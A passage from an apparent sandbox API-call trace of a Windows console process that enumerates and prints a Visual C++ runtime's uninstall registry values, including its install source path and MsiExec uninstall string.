lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallLocation", lpUsedDefaultChar=0x0) returned 15 [0147.184] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0147.184] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.184] __iob_func () returned 0x7fefd702a80 [0147.184] _fileno (_File=0x7fefd702ab0) returned 1 [0147.184] _errno () returned 0xc4bb0 [0147.184] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.184] _errno () returned 0xc4bb0 [0147.184] GetFileType (hFile=0x50) returned 0x1 [0147.184] lstrlenW (lpString=" ") returned 4 [0147.184] GetConsoleOutputCP () returned 0x1b5 [0147.184] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.184] GetConsoleOutputCP () returned 0x1b5 [0147.184] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.185] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.185] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.185] __iob_func () returned 0x7fefd702a80 [0147.185] _fileno (_File=0x7fefd702ab0) returned 1 [0147.185] _errno () returned 0xc4bb0 [0147.185] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.185] _errno () returned 0xc4bb0 [0147.185] GetFileType (hFile=0x50) returned 0x1 [0147.185] lstrlenW (lpString="REG_SZ") returned 6 [0147.185] GetConsoleOutputCP () returned 0x1b5 [0147.185] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.185] GetConsoleOutputCP () returned 0x1b5 [0147.185] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.185] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.185] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.185] __iob_func () returned 0x7fefd702a80 [0147.185] _fileno (_File=0x7fefd702ab0) returned 1 [0147.185] _errno () returned 0xc4bb0 [0147.185] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.185] _errno () returned 0xc4bb0 [0147.185] GetFileType (hFile=0x50) returned 0x1 [0147.185] lstrlenW (lpString=" ") returned 4 [0147.185] GetConsoleOutputCP () returned 0x1b5 [0147.185] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.186] GetConsoleOutputCP () returned 0x1b5 [0147.186] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.186] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.186] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.186] __iob_func () returned 0x7fefd702a80 [0147.186] _fileno (_File=0x7fefd702ab0) returned 1 [0147.186] _errno () returned 0xc4bb0 [0147.186] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.186] _errno () returned 0xc4bb0 [0147.186] GetFileType (hFile=0x50) returned 0x1 [0147.186] lstrlenW (lpString="") returned 0 [0147.186] __iob_func () returned 0x7fefd702a80 [0147.186] _fileno (_File=0x7fefd702ab0) returned 1 [0147.186] _errno () returned 0xc4bb0 [0147.186] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.186] _errno () returned 0xc4bb0 [0147.186] GetFileType (hFile=0x50) returned 0x1 [0147.186] lstrlenW (lpString="\n") returned 1 [0147.186] GetConsoleOutputCP () returned 0x1b5 [0147.186] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.186] GetConsoleOutputCP () returned 0x1b5 [0147.186] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.186] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.186] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.186] GetProcessHeap () returned 0x2e0000 [0147.186] GetProcessHeap () returned 0x2e0000 [0147.186] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.187] GetProcessHeap () returned 0x2e0000 [0147.187] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.187] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.187] RegEnumValueW (in: hKey=0x5c, dwIndex=0x8, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallSource", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.187] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallSource", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0xe8) returned 0x0 [0147.187] GetProcessHeap () returned 0x2e0000 [0147.187] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0xea) returned 0x301970 [0147.187] GetProcessHeap () returned 0x2e0000 [0147.187] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x301970) returned 1 [0147.187] GetProcessHeap () returned 0x2e0000 [0147.187] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x301970) returned 0xea [0147.187] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallSource", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x301970, pcbData=0x23f670*=0xe8 | out: pdwType=0x23f5f0*=0x1, pvData="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\", pcbData=0x23f670*=0xe6) returned 0x0 [0147.187] __iob_func () returned 0x7fefd702a80 [0147.187] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.187] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.187] _fileno (_File=0x7fefd702ab0) returned 1 [0147.187] _errno () returned 0xc4bb0 [0147.187] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.187] _errno () returned 0xc4bb0 [0147.187] GetFileType (hFile=0x50) returned 0x1 [0147.187] lstrlenW (lpString=" ") returned 4 [0147.187] GetConsoleOutputCP () returned 0x1b5 [0147.187] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.187] GetConsoleOutputCP () returned 0x1b5 [0147.187] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.187] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.187] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.188] lstrlenW (lpString="InstallSource") returned 13 [0147.188] __iob_func () returned 0x7fefd702a80 [0147.188] _fileno (_File=0x7fefd702ab0) returned 1 [0147.188] _errno () returned 0xc4bb0 [0147.188] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.188] _errno () returned 0xc4bb0 [0147.188] GetFileType (hFile=0x50) returned 0x1 [0147.188] lstrlenW (lpString="InstallSource") returned 13 [0147.188] GetConsoleOutputCP () returned 0x1b5 [0147.188] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallSource", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.188] GetConsoleOutputCP () returned 0x1b5 [0147.188] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallSource", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallSource", lpUsedDefaultChar=0x0) returned 13 [0147.188] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0147.188] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.188] __iob_func () returned 0x7fefd702a80 [0147.188] _fileno (_File=0x7fefd702ab0) returned 1 [0147.188] _errno () returned 0xc4bb0 [0147.188] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.188] _errno () returned 0xc4bb0 [0147.188] GetFileType (hFile=0x50) returned 0x1 [0147.188] lstrlenW (lpString=" ") returned 4 [0147.188] GetConsoleOutputCP () returned 0x1b5 [0147.188] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.188] GetConsoleOutputCP () returned 0x1b5 [0147.189] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.189] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.189] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.189] __iob_func () returned 0x7fefd702a80 [0147.189] _fileno (_File=0x7fefd702ab0) returned 1 [0147.189] _errno () returned 0xc4bb0 [0147.189] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.189] _errno () returned 0xc4bb0 [0147.189] GetFileType (hFile=0x50) returned 0x1 [0147.189] lstrlenW (lpString="REG_SZ") returned 6 [0147.189] GetConsoleOutputCP () returned 0x1b5 [0147.189] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.189] GetConsoleOutputCP () returned 0x1b5 [0147.189] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.189] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.189] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.189] __iob_func () returned 0x7fefd702a80 [0147.189] _fileno (_File=0x7fefd702ab0) returned 1 [0147.189] _errno () returned 0xc4bb0 [0147.189] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.189] _errno () returned 0xc4bb0 [0147.189] GetFileType (hFile=0x50) returned 0x1 [0147.189] lstrlenW (lpString=" ") returned 4 [0147.189] GetConsoleOutputCP () returned 0x1b5 [0147.190] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.190] GetConsoleOutputCP () returned 0x1b5 [0147.190] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.190] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.190] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.190] __iob_func () returned 0x7fefd702a80 [0147.190] _fileno (_File=0x7fefd702ab0) returned 1 [0147.190] _errno () returned 0xc4bb0 [0147.190] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.190] _errno () returned 0xc4bb0 [0147.190] GetFileType (hFile=0x50) returned 0x1 [0147.190] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\") returned 114 [0147.190] GetConsoleOutputCP () returned 0x1b5 [0147.190] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\", cchWideChar=114, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 114 [0147.190] GetConsoleOutputCP () returned 0x1b5 [0147.190] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\", cchWideChar=114, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\", lpUsedDefaultChar=0x0) returned 114 [0147.190] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 114 [0147.190] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.191] __iob_func () returned 0x7fefd702a80 [0147.191] _fileno (_File=0x7fefd702ab0) returned 1 [0147.191] _errno () returned 0xc4bb0 [0147.191] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.191] _errno () returned 0xc4bb0 [0147.191] GetFileType (hFile=0x50) returned 0x1 [0147.191] lstrlenW (lpString="\n") returned 1 [0147.191] GetConsoleOutputCP () returned 0x1b5 [0147.191] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.191] GetConsoleOutputCP () returned 0x1b5 [0147.191] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.191] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.191] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.191] GetProcessHeap () returned 0x2e0000 [0147.191] GetProcessHeap () returned 0x2e0000 [0147.191] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x301970) returned 1 [0147.191] GetProcessHeap () returned 0x2e0000 [0147.191] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x301970) returned 0xea [0147.191] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x301970 | out: hHeap=0x2e0000) returned 1 [0147.191] RegEnumValueW (in: hKey=0x5c, dwIndex=0x9, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="ModifyPath", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.191] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x6a) returned 0x0 [0147.191] GetProcessHeap () returned 0x2e0000 [0147.191] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6c) returned 0x2fd9a0 [0147.191] GetProcessHeap () returned 0x2e0000 [0147.191] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0147.191] GetProcessHeap () returned 0x2e0000 [0147.192] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0147.192] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fd9a0, pcbData=0x23f670*=0x6a | out: pdwType=0x23f5f0*=0x2, pvData="MsiExec.exe /X{37B8F9C7-03FB-3253-8781-2517C99D7C00}", pcbData=0x23f670*=0x6a) returned 0x0 [0147.192] __iob_func () returned 0x7fefd702a80 [0147.192] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.192] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.192] _fileno (_File=0x7fefd702ab0) returned 1 [0147.192] _errno () returned 0xc4bb0 [0147.192] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.192] _errno () returned 0xc4bb0 [0147.192] GetFileType (hFile=0x50) returned 0x1 [0147.192] lstrlenW (lpString=" ") returned 4 [0147.192] GetConsoleOutputCP () returned 0x1b5 [0147.192] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.192] GetConsoleOutputCP () returned 0x1b5 [0147.192] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.192] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.192] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.192] lstrlenW (lpString="ModifyPath") returned 10 [0147.192] __iob_func () returned 0x7fefd702a80 [0147.192] _fileno (_File=0x7fefd702ab0) returned 1 [0147.192] _errno () returned 0xc4bb0 [0147.192] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.192] _errno () returned 0xc4bb0 [0147.192] GetFileType (hFile=0x50) returned 0x1 [0147.192] lstrlenW (lpString="ModifyPath") returned 10 [0147.192] GetConsoleOutputCP () returned 0x1b5 [0147.193] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0147.193] GetConsoleOutputCP () returned 0x1b5 [0147.193] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ModifyPath", lpUsedDefaultChar=0x0) returned 10 [0147.193] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 10 [0147.193] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.193] __iob_func () returned 0x7fefd702a80 [0147.193] _fileno (_File=0x7fefd702ab0) returned 1 [0147.193] _errno () returned 0xc4bb0 [0147.193] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.193] _errno () returned 0xc4bb0 [0147.193] GetFileType (hFile=0x50) returned 0x1 [0147.193] lstrlenW (lpString=" ") returned 4 [0147.193] GetConsoleOutputCP () returned 0x1b5 [0147.193] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.193] GetConsoleOutputCP () returned 0x1b5 [0147.194] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.194] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.194] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.194] __iob_func () returned 0x7fefd702a80 [0147.194] _fileno (_File=0x7fefd702ab0) returned 1 [0147.194] _errno () returned 0xc4bb0 [0147.194] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.194] _errno () returned 0xc4bb0 [0147.194] GetFileType (hFile=0x50) returned 0x1 [0147.194] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0147.194] GetConsoleOutputCP () returned 0x1b5 [0147.194] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.194] GetConsoleOutputCP () returned 0x1b5 [0147.194] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0147.194] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0147.194] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.194] __iob_func () returned 0x7fefd702a80 [0147.194] _fileno (_File=0x7fefd702ab0) returned 1 [0147.194] _errno () returned 0xc4bb0 [0147.195] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.195] _errno () returned 0xc4bb0 [0147.195] GetFileType (hFile=0x50) returned 0x1 [0147.195] lstrlenW (lpString=" ") returned 4 [0147.195] GetConsoleOutputCP () returned 0x1b5 [0147.195] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.195] GetConsoleOutputCP () returned 0x1b5 [0147.195] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.195] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.195] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.195] __iob_func () returned 0x7fefd702a80 [0147.195] _fileno (_File=0x7fefd702ab0) returned 1 [0147.195] _errno () returned 0xc4bb0 [0147.195] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.195] _errno () returned 0xc4bb0 [0147.195] GetFileType (hFile=0x50) returned 0x1 [0147.195] lstrlenW (lpString="MsiExec.exe /X{37B8F9C7-03FB-3253-8781-2517C99D7C00}") returned 52 [0147.195] GetConsoleOutputCP () returned 0x1b5 [0147.195] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{37B8F9C7-03FB-3253-8781-2517C99D7C00}", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0147.195] GetConsoleOutputCP () returned 0x1b5 [0147.195] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{37B8F9C7-03FB-3253-8781-2517C99D7C00}", cchWideChar=52, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsiExec.exe /X{37B8F9C7-03FB-3253-8781-2517C99D7C00}", lpUsedDefaultChar=0x0) returned 52 [0147.195] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 52 [0147.195] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.196] __iob_func () returned 0x7fefd702a80 [0147.196] _fileno (_File=0x7fefd702ab0) returned 1 [0147.196] _errno () returned 0xc4bb0 [0147.196] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.196] _errno () returned 0xc4bb0 [0147.196] GetFileType (hFile=0x50) returned 0x1 [0147.196] lstrlenW (lpString="\n") returned 1 [0147.196] GetConsoleOutputCP () returned 0x1b5 [0147.196] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.196] GetConsoleOutputCP () returned 0x1b5 [0147.196] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.196] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.196] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.196] GetProcessHeap () returned 0x2e0000 [0147.196] GetProcessHeap () returned 0x2e0000 [0147.196] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0147.196] GetProcessHeap () returned 0x2e0000 [0147.196] RtlSizeHeap 